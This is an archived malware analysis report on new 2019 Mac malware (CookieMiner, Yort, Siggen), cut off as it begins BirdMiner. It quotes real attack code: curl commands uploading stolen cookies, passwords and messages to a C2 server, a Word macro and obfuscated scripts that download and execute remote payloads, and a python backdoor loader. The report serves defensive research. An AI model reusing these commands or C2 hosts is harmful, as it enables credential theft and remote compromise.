{
	"id": "6c2a5c69-f677-4637-8637-cdff41255e2c",
	"created_at": "2026-04-06T00:07:15.034613Z",
	"updated_at": "2026-04-10T03:38:20.829929Z",
	"deleted_at": null,
	"sha1_hash": "d947957c74567fa0c9df893d02bacd92bb28a4a8",
	"title": "The Mac Malware of 2019 ??????",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 10229172,
	"plain_text": "The Mac Malware of 2019 👾\r\nArchived: 2026-04-05 20:10:45 UTC\r\nThe Mac Malware of 2019 👾\r\na comprehensive analysis of the year's new malware\r\nby: Patrick Wardle / January 1, 2020\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n CleanMy Mac X\r\n📝 👾 Want to play along?\r\nAll samples covered in this post are available in our malware collection. \\\r\n…just make sure not to infect yourself!\r\n️ Printable\r\nA printable (PDF) version of this report can be downloaded here:\r\n[The Mac Malware of 2019.pdf](../downloads/MacMalware_2019.pdf)\r\n\\\r\n⌛ Background\r\nGoodbye, 2019! and hello 2020 …a new decade! 🥳\r\nFor the fourth year in a row, I’ve decided to put together a blog post that comprehensively covers all the new Mac\r\nmalware that appeared during the course of the year. While the specimens may have been briefly reported on\r\nbefore (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover\r\nall the new Mac malware of 2019 - in one place …yes, with samples of each malware for download!\r\nIn this blog post, we're focusing on new Mac malware specimens or new variants that appeared in 2019. Adware\r\nand/or malware from previous years, are not covered.\r\nHowever at the end of this blog, I’ve included a brief section dedicated to these other threats, that includes links to\r\ndetailed write-ups.\r\nFor each malicious specimen covered in this post, we’ll identify the malware’s:\r\nInfection Vector\r\n…how it was able to infect macOS systems.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 1 of 82\n\nPersistence Mechanism\r\n…how it installed itself, to ensure it would be automatically restarted on reboot/user login.\r\nFeatures \u0026 Goals\r\n…what was the purpose of the malware? a backdoor? a cryptocurrency miner? etc.\r\nAlso, for each malware specimen, I’ve added a direct download link, in case you want to follow along with our\r\nanalysis or dig into the malware more!\r\n\\\r\n️ Malware Analysis Tools \u0026 Tactics\r\nThroughout this blog, we’ll reference various tools used in analyzing the malware specimens.\r\nThese include:\r\nProcessMonitor\r\nOur user-mode (open-source) utility that monitors process creations and terminations, providing detailed\r\ninformation about such events.\r\nFileMonitor\r\nOur user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions)\r\nproviding detailed information about such events.\r\nWhatsYourSign\r\nOur (open-source) utility that displays code-signing information, via the UI.\r\nlldb\r\nThe de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb ) as part of Xcode.\r\nHopper Disassembler\r\nA “reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your\r\napplications” …or malware specimens!\r\nIf you’re interested in general Mac malware analysis techniques, check out the following resources:\r\n“Lets Play Doctor: Practical OSX Malware Detection \u0026 Analysis”\r\n“How to Reverse Malware on macOS Without Getting Infected”\r\n\\\r\n️ Timeline\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 2 of 82\n\n01/2019\r\nA cryptominer that also steals user cookies and passwords, likely to give attackers access to victims online\r\naccounts and wallets.\r\n03/2019\r\nA Lazarus group backdoor, targeting cryptocurrency businesses.\r\nSiggen\r\n04/2019\r\nA macOS backdoor that downloads and executes (python) payloads.\r\nBirdMiner\r\n06/2019\r\nA linux-based cryptominer, that runs on macOS via QEMU emulation.\r\nNetwire\r\n06/2019\r\nA fully-featured macOS backdoor, installed via a Firefox 0day.\r\nMokes.B\r\n06/2019\r\nA new variant of OSX.Mokes , a fully-featured macOS backdoor.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 3 of 82\n\nGMERA\r\n09/2019\r\nA Lazarus group trojan that persistently exposes a shell to remote attackers.\r\nLazarus (unnamed)\r\n10/2019\r\nAn (unnamed) Lazarus group backdoor.\r\nYort.B\r\n11/2019\r\nA new variant of Yort , a Lazarus group backdoor, targeting cryptocurrency businesses.\r\nLazarus Loader ( \"macloader\" )\r\n12/2019\r\nA Lazarus group 1st-stage implant loader that is able to executed remote payloads, directly from memory.\r\n\\\r\n👾 OSX.CookieMiner\r\nCookieMiner is a cryptominer that also steals user cookies and passwords, likely to give attackers access to\r\nvictims online accounts and wallets.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 4 of 82\n\nDownload: OSX.CookieMiner (password: infect3d )\r\n Writeups:\r\n“Mac Malware Steals Cryptocurrency Exchanges’ Cookies”\r\n“Mac ‘CookieMiner’ Malware Aims to Gobble Crypto Funds”\r\n Infection Vector: Unknown\r\nUnit 42 (of Palo Alto Networks) who uncovered CookieMiner and wrote the original report on the malware,\r\nmade no mention the malware’s initial infection vector.\r\nHowever, a ThreatPost writeup states that:\r\n\"[Jen Miller-Osborn](https://twitter.com/jadefh), deputy director of Threat Intelligence for Unit 42, told\r\nThreatpost that researchers are not certain how victims are first infected by the shell script, but they\r\nsuspect victims download a malicious program from a third-party store.\"\r\n…as such, CookieMiner ’s infection vector remains unknown. \\\r\n Persistence: Launch Agent\r\nAs noted in Unit 42's [report](https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/), `CookieMiner` persists two launch agents. This is performed during the first stage of the\r\ninfection, via a shell script named `uploadminer.sh`:\r\n1...\r\n2\r\n3cd ~/Library/LaunchAgents\r\n4curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist\r\n5curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 5 of 82\n\n6launchctl load -w com.apple.rig2.plist\n7launchctl load -w com.proxy.initialize.plist\nThe script, uploadminer.sh , downloads (via curl ), two property lists into the ~/Library/LaunchAgents\ndirectory.\nThe first plist, com.apple.rig2.plist , persists a binary named xmrig2 along with several commandline\narguments:\n 1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5 ProgramArguments 6 7 /Users/Shared/xmrig2 8 -a 9 yescrypt 10 -o 11 stratum+tcp://koto-pool.work:3032 12 -u 13 k1GqvkK7QYEfMj3JPHieBo1m... 14 15 RunAtLoad 16 17 Label 18 com.apple.rig2.plist 19 20 As the RunAtLoad key is set to true in the launch agent property list, the xmrig2 binary will be automatically\nlaunched each time the user (re)logs in.\nThe second plist, com.proxy.initialize.plist , persists various inline python commands (that appear to execute\na base64 encoded chunk of data):\n 1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5Label 6com.proxy.initialize.plist 7ProgramArguments 8 9python 10-c https://objective-see.com/blog/blog_0x53.html\nPage 6 of 82\n\n11import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode(\n12 'aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml\n13 ...\n14 hcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp'));\n15 16 17RunAtLoad 18 19 20 As the RunAtLoad key is set to true in this property list as well, the python commands will be automatically\n(re)executed each time the user logs in.\nDoes this look familiar? Yes! In fact this is exactly how OSX.DarthMiner persisted. (We also covered\nOSX.DarthMiner in our “The Mac Malware of 2018” report).\nThis is not a coincidence, as (was noted in the Unit 42 report): “[ CookieMiner ] has been developed from\nOSX.DarthMiner , a malware known to target the Mac platform”\n Capabilities: Cryptomining, Cookie/Password Stealing, Backdoor\nCookieMiner is likely the evolution of OSX.DarthMiner .\nIn our “The Mac Malware of 2018” report we noted that DarthMiner , persists the well known Empyre backdoor\n(via the com.proxy.initialize.plist file) and a cryptocurrency mining binary named XMRig (via\ncom.apple.rig.plist ).\nCookieMiner does this as well (though a 2 has been added to both the mining binary and plist):\nXMRig -\u003e xmrig2\ncom.apple.rig.plist -\u003e com.apple.rig2.plist\nThe persistently installed Empyre backdoor allows remote attacks to run arbitrary commands on an infected host.\nBy examining the arguments passed to the persistent miner binary, xmrig2 it appears to be mining the Koto\ncryptocurrency:\n 1ProgramArguments 2 3 /Users/Shared/xmrig2 4 -a 5 yescrypt 6 -o 7 stratum+tcp://koto-pool.work:3032 8 -u https://objective-see.com/blog/blog_0x53.html\nPage 7 of 82\n\n9 \u003cstring\u003ek1GqvkK7QYEfMj3JPHieBo1m...\u003c/string\u003e\r\n10\u003c/array\u003e\r\nThe most interesting aspect of CookieMiner (and what differentiates it from OSX.DarthMiner ) is its propensity\r\nfor stealing! During their comprehensive analysis Unit 42 researchers highlighted the fact that CookieMiner\r\ncaptures and exfiltrates the following:\r\n(Browser) Cookies\r\n(Browser) Passwords\r\niPhones messages (from iTunes backups)\r\nThe cookie, password, and message stealing capabilities are (likely) implemented to allow attackers to bypass 2FA\r\nprotections on victims online cryptocurrency accounts:\r\n\"_By leveraging the combination of stolen login credentials, web cookies, and SMS data, based on past\r\nattacks like this, we believe the bad actors could bypass multi-factor authentication for these\r\n[cryptocurrency] sites. \\ \\ If successful, the attackers would have full access to the victim's exchange\r\naccount and/or wallet and be able to use those funds as if they were the user themselves._\" -Unit 42\r\nThe methods to steal such information, are not (overly) sophisticated, albeit sufficient.\r\nFor example, to steal cookies from Safari, CookieMiner simply copies the Cookies.binarycookies file from the\r\n~/Library/Cookies directory, zips them up, and exfiltrates them to the attacker’s remote command \u0026 control\r\nserver ( 46.226.108.171 ):\r\n1cd ~/Library/Cookies\r\n2if grep -q \"coinbase\" \"Cookies.binarycookies\"; then\r\n3mkdir ${OUTPUT}\r\n4cp Cookies.binarycookies ${OUTPUT}/Cookies.binarycookies\r\n5zip -r interestingsafaricookies.zip ${OUTPUT}\r\n6curl --upload-file interestingsafaricookies.zip http://46.226.108.171:8000\r\nNote though, the cookie file ( Cookies.binarycookies ) is only stolen if it contains cookies that are associated\r\nwith cryptocurrency exchanges (such as Coinbase \u0026 Binance).\r\nThe malware also extracts saved passwords and credit card information from Google Chrome, via a python script:\r\n\"_`CookieMiner` downloads a Python script named \"`harmlesslittlecode.py`\" to extract saved login\r\ncredentials and credit card information from Chrome's local data storage._\" -Unit 42\r\n1curl -o harmlesslittlecode.py http://46.226.108.171/harmlesslittlecode.py\r\n2python harmlesslittlecode.py \u003e passwords.txt 2\u003e\u00261\r\n 1if __name__ == '__main__':\r\n 2 root_path = \"/Users/*/Library/Application Support/Google/Chrome\"\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 8 of 82\n\n3 login_data_path = \"{}/*/Login Data\".format(root_path)\r\n 4 cc_data_path = \"{}/*/Web Data\".format(root_path)\r\n 5 chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)\r\n 6 safe_storage_key = subprocess.Popen(\r\n 7 \"security find-generic-password -wa \"\r\n 8 \"'Chrome'\",\r\n 9 stdout=subprocess.PIPE,\r\n10 stderr=subprocess.PIPE,\r\n11 shell=True)\r\n12 stdout, stderr = safe_storage_key.communicate()\r\n13 ...\r\n14 chrome(chrome_data, safe_storage_key)\r\nFinally, CookieMiner attempts to locate and exfiltrate iPhone message files from any mobile backups (within\r\nMobileSync/Backup ):\r\n 1cd ~/Library/Application\\ Support/MobileSync/Backup\r\n 2BACKUPFOLDER=\"$(ls)\"\r\n 3cd ${BACKUPFOLDER}\r\n 4SMSFILE=\"$(find . -name '3d0d7e5fb2ce288813306e4d4636395e047a3d28')\"\r\n 5cp ${SMSFILE} ~/Library/Application\\ Support/Google/Chrome/Default/${OUTPUT}\r\n 6\r\n 7...\r\n 8cd ~/Library/Application\\ Support/Google/Chrome/Default/\r\n 9zip -r ${OUTPUT}.zip ${OUTPUT}\r\n10curl --upload-file ${OUTPUT}.zip http://46.226.108.171:8000\r\nArmed browser cookies, passwords, and even iPhone messages, the attacker may be able to access (and thus\r\npotentially drain) victims’ cryptocurrency accounts, even if 2FA is deployed! 🍪😱\r\n\\\r\n👾 OSX.Yort\r\nYort is a Lazarus group (1st-stage?) implant, targeting cryptocurrency businesses.\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 9 of 82\n\nDownload: OSX.Yort (password: infect3d )\r\n Writeups:\r\n“Cryptocurrency Businesses Still Being Targeted By Lazarus”\r\n“Lazarus Apt Targets Mac Users With Poisoned Word Document”\r\n“A Look into the Lazarus Group’s Operations in October 2019”\r\n\\\r\n Infection Vector: Malicious Office Documents\r\nThe SecureList report which details the attack and Yort malware, states that:\r\n\"The malware was distributed via documents carefully prepared to attract the attention of\r\ncryptocurrency professionals.\" -SecureList\r\nAnalyzing the one of the malicious files ( 샘플_기술사업계획서(벤처기업평가용).doc ), we find embedded Mac-specific macro code:\r\n 1#If Mac Then\r\n 2 #If VBA7 Then\r\n 3\r\n 4 Private Declare PtrSafe Function system Lib \"libc.dylib\"\r\n 5 (ByVal command As String) ...\r\n 6\r\n 7 Private Declare PtrSafe Function popen Lib \"libc.dylib\"\r\n 8 (ByVal command As String, ByVal mode As String) As LongPtr\r\n 9\r\n10 #Else\r\n11\r\n12 Private Declare Function system Lib \"libc.dylib\"\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 10 of 82\n\n13 (ByVal command As String) As Long\r\n14 Private Declare Function popen Lib \"libc.dylib\"\r\n15 (ByVal command As String, ByVal mode As String) As Long\r\n16\r\n17 #End If\r\n18#End If\r\n19\r\n20Sub AutoOpen()\r\n21On Error Resume Next\r\n22#If Mac Then\r\n23\r\n24 sur = \"https://nzssdm.com/assets/mt.dat\"\r\n25 spath = \"/tmp/\": i = 0\r\n26 Do\r\n27 spath = spath \u0026 Chr(Int(Rnd * 26) + 97): i = i + 1\r\n28 Loop Until i \u003e 12\r\n29\r\n30 spath = spath\r\n31\r\n32 res = system(\"curl -o \" \u0026 spath \u0026 \" \" \u0026 sur)\r\n33 res = system(\"chmod +x \" \u0026 spath)\r\n34 res = popen(spath, \"r\")\r\n35\r\n36 ...\r\nIf a Mac user opens the document in Microsoft Office and enables macros, these malicious macros will be\r\nautomatically executed (triggered via the AutoOpen() ) function.\r\nThe macro logic:\r\ndownloads a file from https://nzssdm.com/assets/mt.dat (via curl ) to the /tmp/ directory\r\nsets its permissions to executable (via chmod +x )\r\nexecutes the (now executable) downloaded file, mt.dat (via popen )\r\nFor more details on the malicious macros in this attack, see @philofishal’s writeup:\r\n[\"Lazarus Apt Targets Mac Users With Poisoned Word Document\"](https://www.sentinelone.com/blog/lazarus-apt-targets-mac-users-poisoned-word-document/)\r\n Persistence: None\r\nIt does not appear that (this variant) of OSX.Yort persists itself. However, as a light-weight 1st-stage implant,\r\npersistence may not be needed, as a noted in an analysis titled, “A Look into the Lazarus Group’s Operations in\r\nOctober 2019”:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 11 of 82\n\n\"The malware doesn't have a persistence, but by the fact that [it] can execute [any] command, the\r\nattacker can decide push a persistence if this necessary\"\r\n Capabilities: 1st-stage implant, with standard backdoor capabilities.\r\nYort (likely a 1st\r\n-stage implant), supports a variety of ‘standard’ commands, such as file download, upload, and\r\nthe execution of arbitrary commands.\r\nUsing macOS’s built-in file utility, shows that mt.dat is a standard 64-bit macOS (Mach-O) executable.\r\n$ file Yort/A/mt.dat\r\nYort/A/mt.dat: Mach-O 64-bit executable x86_64\r\nThe strings command (executed with the -a flag) can dump (ASCII) strings, that are embedded in the binary.\r\nIn OSX.Yort ’s case these strings are rather revealing:\r\n$ strings -a Yort/A/mt.dat\r\ncache-control: no-cache\r\ncontent-type: multipart/form-data\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.1\r\nfile\r\n/bin/bash -c \"\r\n\" \u003e\r\n/tmp/\r\n 2\u003e\u00261\r\nhttps://towingoperations.com/chat/chat.php\r\nhttps://baseballcharlemagnelegardeur.com/wp-content/languages/common.php\r\nhttps://www.tangowithcolette.com/pages/common.php\r\nIt is easy to confirm that the embedded URLs are malware’s actual command and control servers, as when\r\nexecuted (in a VM), the malware attempts to connect out to (one of) these addresses for tasking:\r\n$ ./mt.dat\r\n* Trying 69.195.124.206...\r\n* Connected to baseballcharlemagnelegardeur.com (69.195.124.206) port 443 (#0)\r\n* SSL certificate problem: certificate has expired\r\n* stopped the pause stream!\r\n* Closing connection 0\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 12 of 82\n\nAnother static analysis tool, nm can dump embedded symbols (such as method names, and imported (system)\r\nfunctions):\r\n$ nm Yort/A/mt.dat\r\n...\r\n00000001000010f0 T _MainLoop\r\n0000000100001810 T _RecvBlockData\r\n00000001000019d0 T _RecvBlockDataUncrypt\r\n00000001000018f0 T _RecvBlockDataWithLimit\r\n0000000100001a40 T _RecvBlockDataWithLimitUncrypt\r\n0000000100002460 T _ReplyCmd\r\n0000000100002360 T _ReplyDie\r\n00000001000033c0 T _ReplyDown\r\n0000000100003e20 T _ReplyExec\r\n0000000100004180 T _ReplyGetConfig\r\n0000000100002150 T _ReplyKeepAlive\r\n0000000100002c20 T _ReplyOtherShellCmd\r\n0000000100003fd0 T _ReplySessionExec\r\n0000000100004410 T _ReplySetConfig\r\n0000000100002240 T _ReplySleep\r\n0000000100001f50 T _ReplyTroyInfo\r\n0000000100003900 T _ReplyUpload\r\n U _curl_easy_cleanup\r\n U _curl_easy_init\r\n U _curl_easy_perform\r\n U _curl_easy_setopt\r\n U _curl_formadd\r\n U _curl_formfree\r\n U _curl_global_cleanup\r\n U _curl_global_init\r\n U _curl_slist_append\r\n U _curl_slist_free_all\r\n U _fork\r\n U _fwrite\r\n U _kill\r\n U _unlink\r\n U _waitpid\r\nFrom this output, it seems reasonable to assume that the malware supports a variety of commands that are fairly\r\ncommon in first-stage implants and/or lightweight backdoors.\r\nReplyCmd : execute commands?\r\nReplyDie : kill implant?\r\nReplyOtherShellCmd : execute shell command?\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 13 of 82\n\nReplyDown : download a file?\r\nReplyUpload : upload a file?\r\netc…\r\nAnd references to the curl_* APIs likely indicate that the malware implements its networking logic via\r\nlibcurl .\r\nDebugging the malware (via lldb ) confirms that indeed the malware is leveraging libcurl . Here for example\r\nwe see the malware setting the url of its command and control server ( baseballcharlemagnelegardeur.com ) via\r\nthe curl_easy_setopt function with the CURLOPT_URL ( 10002 ) parameter:\r\n$ lldb mt.dt\r\n* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1\r\n frame #0: 0x00007fff7d446b9b libcurl.4.dylib`curl_easy_setopt\r\n(lldb) p $rsi\r\n(unsigned long) $1 = 10002\r\n(lldb) x/s $rdx\r\n0x1000052a8: \"https://baseballcharlemagnelegardeur.com/wp-content/languages/common.php\"\r\nThe malware then connects to the specified server, via the curl_easy_perform function.\r\nIf the malware receives a response (tasking) from the command and control server, it will act upon said response\r\n(via switch statement, or jumptable ). The logic that implements delegation of the received commands is found\r\nat address 0x0000000100004679 within the malware’s binary:\r\n1cmp eax, 17h ; switch 24 cases\r\n2ja loc_100004A6D ; jumptable 0000000100004693 default case\r\n3lea rcx, off_100004B60\r\n4movsxd rax, dword ptr [rcx+rax*4]\r\n5add rax, rcx\r\n6mov rbx, r15\r\n7jmp rax ; switch jump\r\nFor example for case #19, the malware will execute the ReplyDown command:\r\n1mov ecx, 801h ; jumptable 0000000100004693 case 19\r\n2mov rdi, rsp\r\n3lea rsi, [rbp-85A8h]\r\n4rep movsq\r\n5mov eax, [rbp-45A0h]\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 14 of 82\n\n6mov [rsp+4008h], eax\r\n7call _ReplyDown\r\nDigging into the disassembly of the ReplyDown command, shows that the malware will invoke functions such as:\r\nfopen with the rb (“read binary”) parameter\r\nfread\r\nfclose\r\nThis (brief) static analysis indicates this method will download a file, from the infected machine to the server.\r\nAnother example is #case 22, which calls into the ReplyExec function.\r\n1mov ecx, 801h ; jumptable 0000000100004693 case 22\r\n2mov rdi, rsp\r\n3lea rsi, [rbp-85A8h]\r\n4rep movsq\r\n5mov eax, [rbp-45A0h]\r\n6mov [rsp+4008h], eax\r\n7call _ReplyExec\r\nThe ReplyExec function, as its names implies, will executed perhaps a command or file uploaded to the client\r\nfrom the server:\r\n 1int _ReplyExec(int arg0, int arg1, ...) {\r\n 2\r\n 3 ...\r\n 4\r\n 5 rax = fork();\r\n 6 if (rax == 0x0)\r\n 7 {\r\n 8 system(\u0026var_4580);\r\n 9 rax = exit(0x0);\r\n10 return rax;\r\n11 }\r\nSimilar analysis of the other Reply* commands confirm their rather descriptive names, match their logic.\r\nFor more details on the capabilities of mt.data, see:\r\n[\"A Look into the Lazarus Group's Operations in October 2019\"]\r\n(https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/North%20Korea/APT/Lazarus/23-10-\r\n19/analysis.md#OSX)\r\n\\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 15 of 82\n\n👾 OSX.Siggen\r\nSiggen, packaged in a fake WhatsApp application, is a persistent backdoor that allows remote attackers to\r\ndownload and execute (python) payloads.\r\n Download: OSX.Siggen (password: infect3d )\r\n Writeups:\r\n“Mac.BackDoor.Siggen.20”\r\n“macOS Malware Outbreaks 2019 | The First 6 Months”\r\n\\\r\n Infection Vector: Trojaned (fake) WhatsApp Application\r\n“Phishing AI” @phishingai, stated the following in a tweet:\r\n\"_This @WhatsApp #phishing/drive-by-download domain `message-whatsapp[.]com` \\ \\ ...is delivering\r\nmalware via an iframe. The iframe delivers a custom response depending on the device detected. Mac\r\nmalware is delivered via a zip file with an application inside._\"\r\nA screen capture from @phishingai’s tweet of the malicious message-whatsapp.com website, shows how users\r\ncould be tricked into manually downloading and installing what they believe is the popular WhatsApp messaging\r\napplication: \\\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 16 of 82\n\nThe download is a zip archive named WhatsAppWeb.zip …that (surprise, surprise) is not WhatsApp, but rather an\r\napplication named WhatsAppService \\\r\nThe WhatsAppService application:\r\nis unsigned\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 17 of 82\n\nhas an PDF icon\r\nhas a main binary named DropBox\r\nWill users be tricked into running this? …and manually work thru the Gatekeeper alerts (as the app is unsigned)?\r\nApparently so! 🤷‍♂️ \\\r\n Persistence: Launch Agent\r\nIf the user is tricked into downloading and running the WhatsAppService application it will persistently install a\r\nlaunch agent.\r\nThe WhatsAppService was built using Platypus. This legitimate developer tool creates a standalone app, from a\r\nscript:\r\n\"_Platypus is a developer tool that creates native Mac applications from command line scripts such as\r\nshell scripts or Python, Perl, Ruby, Tcl, JavaScript and PHP programs. This is done by wrapping the\r\nscript in a macOS application bundle along with an app binary that runs the script._\" -\r\nsveinbjorn.org/platypus\r\nIt’s rather popular with (basic) Mac malware authors who are sufficient are creating malicious scripts, but want to\r\ndistributer their malicious creations as native macOS applications.\r\nFor example both OSX.CreativeUpdate and OSX.Eleanor utilized Platypus as well:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 18 of 82\n\nWhen a “platypus” applications is executed, it simple runs a file named script from within the app’s\r\nResources directory.\r\nTaking a peek at the WhatsAppService.app/Resources/script file, we can see it persists a launch agent named\r\na.plist :\r\n1//Resources/script\r\n2\r\n3echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh\r\n4curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist\r\n5echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh\r\n6launchctl load -w ~/Library/LaunchAgents/a.plist\r\n7curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 19 of 82\n\n8echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh\n9echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh\nSpecifically it executes the following: curl -s http://usb.mine.nu/a.plist -o\n~/Library/LaunchAgents/a.plist\nThe a.plist (that is downloaded from http://usb.mine.nu/ ) executes the /Users/Shared/c.sh file:\n 1?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n 2\n 3 4 5 EnvironmentVariables 6 7 PATH 8 /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin: 9 10 KeepAlive 11 12 Label 13 com.enzo 14 Program 15 /Users/Shared/c.sh 16 RunAtLoad 17 18 19 The c.sh file is (also) downloaded via the WhatsAppService.app/Resources/script : curl -s\nhttp://usb.mine.nu/c.sh -o /Users/Shared/c.sh\nAs the RunAtLoad key is set to true in the a.plist every time the user logs in, c.sh will be automatically\n(re)executed.\n Capabilities: Persistent Backdoor (download \u0026 execute (python) payloads).\nRecall the WhatsAppService.app/Resources/script is ran when the user launches WhatsAppService.app . Let’s\nbreak down each line of this script:\n1. echo c2NyZWVuIC1kbSBiYXNoIC1jICdzbGVlcCA1O2tpbGxhbGwgVGVybWluYWwn | base64 -D | sh\nDecodes and executes screen -dm bash -c 'sleep 5;killall Terminal' which effectively kills any\nrunning instances of Terminal.app\n\\\nhttps://objective-see.com/blog/blog_0x53.html\nPage 20 of 82\n\n2. curl -s http://usb.mine.nu/a.plist -o ~/Library/LaunchAgents/a.plist\r\nAs noted, downloads and persists a.plist as a launch agent.\r\n\\\r\n3. echo Y2htb2QgK3ggfi9MaWJyYXJ5L0xhdW5jaEFnZW50cy9hLnBsaXN0 | base64 -D | sh\r\nDecodes and executes chmod +x ~/Library/LaunchAgents/a.plist which (unnecessarily) sets a.plist\r\nto be executable.\r\n\\\r\n4. launchctl load -w ~/Library/LaunchAgents/a.plist\r\nLoads a.plist which attempts to executes /Users/Shared/c.sh . However, (the first time this is run),\r\n/Users/Shared/c.sh has yet to be downloaded…\r\n\\\r\n5. curl -s http://usb.mine.nu/c.sh -o /Users/Shared/c.sh\r\nDownloads c.sh to /Users/Shared/c.sh\r\n\\\r\n6. echo Y2htb2QgK3ggL1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh\r\nDecodes and executes chmod +x /Users/Shared/c.sh which sets c.sh to be executable\r\n\\\r\n7. echo L1VzZXJzL1NoYXJlZC9jLnNo | base64 -D | sh\r\nDecodes and executes /Users/Shared/c.sh\r\nAnd what does /Users/Shared/c.sh do?\r\n 1//Users/Shared/c.sh\r\n 2\r\n 3#!/bin/bash\r\n 4v=$( curl --silent http://usb.mine.nu/p.php | grep -ic 'open' )\r\n 5p=$( launchctl list | grep -ic \"HEYgiNb\" )\r\n 6if [ $v -gt 0 ]; then\r\n 7if [ ! $p -gt 0 ]; then\r\n 8echo IyAtKi0gY29kaW5n...AgcmFpc2UK | base64 --decode | python\r\n 9fi\r\n10fi\r\nAfter connecting to usb.mine.nu/p.php and checking for a response containing the string \"open\" and checking\r\nif a process named HEYgiNb is running, script decodes a large blog of base64 encoded data. This decoded data is\r\nthen executed via python.\r\nAfter decoding the data, as expected, it turns out to be a python code:\r\n 1# -*- coding: utf-8 -*-\r\n 2import urllib2\r\n 3from base64 import b64encode, b64decode\r\n 4import getpass\r\n 5from uuid import getnode\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 21 of 82\n\n6from binascii import hexlify\r\n 7\r\n 8def get_uid():\r\n 9 return hexlify(getpass.getuser() + \"-\" + str(getnode()))\r\n10\r\n11LaCSZMCY = \"Q1dG4ZUz\"\r\n12data = {\r\n13 \"Cookie\": \"session=\" + b64encode(get_uid()) + \"-eyJ0eXBlIj...ifX0=\",\r\n14 \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chro\r\n15}\r\n16\r\n17try:\r\n18 request = urllib2.Request(\"http://zr.webhop.org:1337\", headers=data)\r\n19 urllib2.urlopen(request).read()\r\n20except urllib2.HTTPError as ex:\r\n21 if ex.code == 404:\r\n22 exec(b64decode(ex.read().split(\"DEBUG:\\n\")[1].replace(\"DEBUG--\u003e\", \"\")))\r\n23 else:\r\n24 raise\r\nThis (decoded) python code matches the HEYgiNb file described in DrWeb’s analysis\r\n(“Mac.BackDoor.Siggen.20”). (Also recall the c.sh checks for the presence of a process named HEYgiNb ).\r\nWe can also locate this file on VirusTotal: HEYgiNb.py . and note that it is flagged by multiple engines:\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 22 of 82\n\nTaking a closer look at this python code ( HEYgiNb ), we see the Cookie parameter contains (more) base64\r\nencoded data, which we can decode:\r\n{\"type\": 0, \"payload_options\": {\"host\": \"zr.webhop.org\", \"port\": 1337}, \"loader_options\": {\"payload_filename\":\r\nFollowing a request to http://zr.webhop.org on port 1337 , the python code base64 decodes and executes data\r\nextracted from the server’s ( 404 ) response: \\\r\n`exec(b64decode(ex.read().split(\"DEBUG:\\n\")[1].replace(\"DEBUG--\u003e\", \"\")))`.\r\nUnfortunately the server http://zr.webhop.org is no longer serving up this final-stage payload. However,\r\n@philofishal notes that: “Further analysis shows that the script leverages a public post exploitation kit,\r\nEvil.OSX to install a backdoor.”\r\n…and of course, the attackers could swap out the python payload (server-side) anytime, to execute whatever they\r\nwant on the infected systems!\r\nhttps://objective-see.com/blog/blog_0x53.html\r\nPage 23 of 82\n\n\\\r\n👾 OSX.BirdMiner ( OSX.LoudMiner )\r\nBirdMiner (or LoudMiner) delivers linux-based cryptominer, that runs on macOS via QEMU emulation.\r\n Download: OSX.BirdMiner (password: infect3d )\r\n Writeups:\r\n“New Mac cryptominer Malwarebytes detects as Bird Miner runs by emulating Linux”\r\n“LoudMiner: Cross‑platform mining in cracked VST software”\r\n\\\r\n Infection Vector: Pirated 